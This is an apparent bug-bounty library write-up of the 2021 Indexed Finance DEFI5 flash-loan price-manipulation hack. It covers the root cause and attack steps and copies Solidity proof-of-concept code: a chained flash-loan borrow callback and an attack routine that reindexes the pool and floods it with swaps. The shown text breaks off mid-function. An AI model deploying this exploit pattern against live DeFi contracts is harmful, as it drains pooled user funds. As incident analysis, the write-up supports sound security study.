# Indexed Finance: price manipulation drains DEFI5 index pool

Indexed Finance's DEFI5 pool was drained by flash-loaning tokens, manipulating pool balances via swapExactAmountIn, and exploiting extrapolatePoolValueFromToken to mint/redeem at skewed prices.

- Payout: Real-world hack
- Severity: critical
- Program: Indexed Finance
- Analysis by: DeFiHackLabs
- Disclosed: 2021-10-15
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-10/IndexedFinance_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20211015-indexedfinance
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained vuln:business-logic vuln:flash-loan vuln:oracle-manipulation

**Target:** Indexed Finance DEFI5 index pool and MarketCapSqrtController
**Root cause:** The index pool's value extrapolation and reindexing logic relied on spot balances that could be manipulated via large swaps, allowing an attacker to distort the pool's token weights and value.
**Steps:**
1. Flash-loan large amounts of UNI, AAVE, COMP, CRV, MKR, SNX from Uniswap/Sushi pairs via `swap()` callbacks.
2. Call `controller.reindexPool(DEFI5)` to trigger reindexing.
3. Approve all borrowed tokens to the DEFI5 pool.
4. Call `indexPool.extrapolatePoolValueFromToken()` to identify the tokenOut and its value.
5. For each borrowed token (except tokenOut), repeatedly swap into the pool using `indexPool.swapExactAmountIn(tokenIn, amountIn, tokenOut, 0, type(uint256).max)` with amountIn capped at `bmul(balance, MAX_IN_RATIO)`.
6. After manipulating balances, call `controller.updateMinimumBalance(indexPool, SUSHI)` to further skew weights.
7. Repay flash loans and keep remaining tokens as profit.
**Exploitation:** Attacker flash-loaned six tokens, reindexed the DEFI5 pool, then swapped large amounts of each borrowed token into the pool to drastically alter the pool's token balances and derived value. This allowed them to extract value from the pool via mispriced mint/redeem or arbitrage, repaying loans and keeping the remainder.
**Escalation:** Chained multiple flash loans across Uniswap and Sushi to accumulate enough capital to manipulate the pool's spot balances and trigger reindexing.
**Insight:** Index pools that compute value from spot balances are vulnerable to flash-loan-driven price manipulation; check if reindexing or value extrapolation uses manipulable on-chain state.

## Proof of concept (copied exactly from the original report)

**Flash-loan borrow loop and uniswapV2Call callback**

```
function getLoan() internal {
        address _tokenBorrow = borrowedTokens[count];
        uint256 _amount = borrowedAmounts[count];
        address factoryAddr = factories[count];

        address pair = IUniswapV2Factory(factoryAddr).getPair(_tokenBorrow, WETH);
        require(pair != address(0), "!pair");

        address token0 = IUniswapV2Pair(pair).token0();
        address token1 = IUniswapV2Pair(pair).token1();
        uint256 amount0Out = _tokenBorrow == token0 ? _amount : 0;
        uint256 amount1Out = _tokenBorrow == token1 ? _amount : 0;

        // need to pass some data to trigger uniswapV2Call
        bytes memory data = abi.encode(_tokenBorrow, _amount, factoryAddr);
        IUniswapV2Pair(pair).swap(amount0Out, amount1Out, address(this), data);
    }

    function uniswapV2Call(
        address _sender,
        uint256 _amount0,
        uint256 _amount1,
        bytes calldata _data
    ) external override {
        require(_sender == address(this), "!sender");

        (address tokenBorrow, uint256 amount, address factoryAddr) = abi.decode(_data, (address, uint256, address));
        address token0 = IUniswapV2Pair(msg.sender).token0();
        address token1 = IUniswapV2Pair(msg.sender).token1();
        address pair = IUniswapV2Factory(factoryAddr).getPair(token0, token1);
        require(msg.sender == pair, "!pair");

        // about 0.3%
        uint256 fee = ((amount * 3) / 997) + 1;
        uint256 repayAmount = amount + fee;

        if (!attackBegan) {
            pairs.push(pair);
            repayAmounts.push(repayAmount);
            count++;
            if (count == borrowedAmounts.length) {
                attackBegan = true;
                attack();
                repayLoans();
            } else {
                getLoan();
            }
        } else {
            continueAttack();
            repaySushiLoan(pair, repayAmount);
        }
    }
```

**Attack function draining DEFI5 via swapExactAmountIn**

```
function attack() internal {
        console.log("Performing attack");

        IMarketCapSqrtController controller = IMarketCapSqrtController(CONTROLLER);
        IIndexPool indexPool = IIndexPool(DEFI5);
        controller.reindexPool(DEFI5);

        IERC20(UNI).approve(DEFI5, type(uint256).max);
        IERC20(AAVE).approve(DEFI5, type(uint256).max);
        IERC20(COMP).approve(DEFI5, type(uint256).max);
        IERC20(CRV).approve(DEFI5, type(uint256).max);
        IERC20(MKR).approve(DEFI5, type(uint256).max);
        IERC20(SNX).approve(DEFI5, type(uint256).max);
        IERC20(SUSHI).approve(DEFI5, type(uint256).max);

        // uint totalDenormWeight = indexPool.getTotalDenormalizedWeight();
        // console.log("Total denormalized weight: %s", totalDenormWeight / 1e18);

        (address tokenOut, uint256 value) = indexPool.extrapolatePoolValueFromToken();
        console.log("Extrapolated pool value from token: [%s, %s]", tokenOut, value / 1e18);

        uint256 tokenOutBalance = indexPool.getBalance(tokenOut);
        console.log("Initial Token balance: %s", tokenOutBalance / 1e18);

        for (uint256 i = 0; i < borrowedTokens.length; i++) {
            address tokenIn = borrowedTokens[i];
            if (tokenIn == tokenOut) {
                continue;
            }
            uint256 amountInRemain = borrowedAmounts[i];
            while (amountInRemain > 0) {
                uint256 amountIn = bmul(indexPool.getBalance(tokenIn), MAX_IN_RATIO);
                amountIn = amountInRemain < amountIn ? amountInRemain : amountIn;
                amountInRemain -= amountIn;
                console.log("Swapping %s of [%s] for [%s]", amountIn / 1e18, tokenIn, tokenOut);
                indexPool.swapExactAmountIn(tokenIn, amountIn, tokenOut, 0, type(uint256).max);
            }
            console.log("tokenOut balance: %s", indexPool.getBalance(tokenOut) / 1e18);
        }

        controller.updateMinimumBalance(indexPool, SUSHI)
```

